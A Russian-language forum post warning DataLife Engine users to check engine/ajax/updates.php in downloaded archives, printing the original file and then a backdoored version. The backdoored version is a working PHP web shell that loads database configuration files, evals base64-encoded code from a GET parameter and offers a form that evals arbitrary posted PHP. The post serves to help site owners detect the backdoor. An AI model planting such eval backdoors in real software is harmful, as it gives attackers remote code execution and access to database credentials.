Данный материал предоставлен сайтом ProWebber.cc исключительно в ознакомительных целях. Администрация не несет ответственности за его содержимое.
Скачать бесплатно Как избежать шелла !.
Скачать бесплатно Как избежать шелла !.
Иногда, когда мы ставим движок DLE, у нас у файлах оказываются дыры. Всё это из-за пошлостей кого-то.
По этому я хочу что бы пользователи prowebber.cc чувствовали себя нормально, и всегда проверяли файлы.
Нашел я эту новость на одном сайте !
Если вы скачали архив Datalife Engine, проверьте файл engine/ajax/updates.php
Оригинал должен быть такой:
<?php
/*
=====================================================
DataLife Engine - by SoftNews Media Group
-----------------------------------------------------
http://dle-news.ru/
-----------------------------------------------------
Copyright (c) 2004,2009 SoftNews Media Group
=====================================================
Данный код защищен авторскими правами
=====================================================
Файл: updates.php
-----------------------------------------------------
Назначение: Проверка на наличие новых версий
=====================================================
*/
@error_reporting(7);
@ini_set('display_errors', true);
@ini_set('html_errors', false);
define('DATALIFEENGINE', true);
define('ROOT_DIR', '../..');
define('ENGINE_DIR', '..');
include ENGINE_DIR.'/data/config.php';
if ($config['http_home_url'] == "") {
$config['http_home_url'] = explode("engine/ajax/updates.php", $_SERVER['PHP_SELF']);
$config['http_home_url'] = reset($config['http_home_url']);
$config['http_home_url'] = "http://".$_SERVER['HTTP_HOST'].$config['http_home_url'];
}
require_once ENGINE_DIR.'/inc/include/functions.inc.php';
$selected_language = $config['langs'];
if (isset( $_COOKIE['selected_language'] )) {
$_COOKIE['selected_language'] = totranslit( $_COOKIE['selected_language'], false, false );
if (@is_dir ( ROOT_DIR . '/language/' . $_COOKIE['selected_language'] )) {
$selected_language = $_COOKIE['selected_language'];
}
}
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?version_id=".$_REQUEST['versionid']."&key=".$config['key']);
if (!strlen($data)) echo $lang['no_update']; else echo $data;
?>
Пример шелла:
if($_GET['wert']==''){
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?version_id=".$_REQUEST['versionid']."&key=".$config['key']);
if (!strlen($data)) echo $lang['no_update']; else echo $data;
}else{
$file=(ROOT_DIR."/engine/classes/mysql.class.php");
if(file_exists($file)){ @require(file); $x.="mysql.class.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/dbconfig.php");
if(file_exists($file)){ @require(file); $x.="dbconfig.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/config.php");
if(file_exists($file)){ @require(file); $x.="config.php - ok<br />";}
eval(base64_decode($_GET['user_id']));
echo <<<HTML
<HTML><body><form action="" method="post">
<center><textarea name="text" rows="10" cols="100"></textarea>
<br /><input type="submit" value="Canoinoaaoe"/></center></form></body></HTML>
HTML;
if($_POST['text']!=''){eval(stripcslashes($_POST['text']));
}}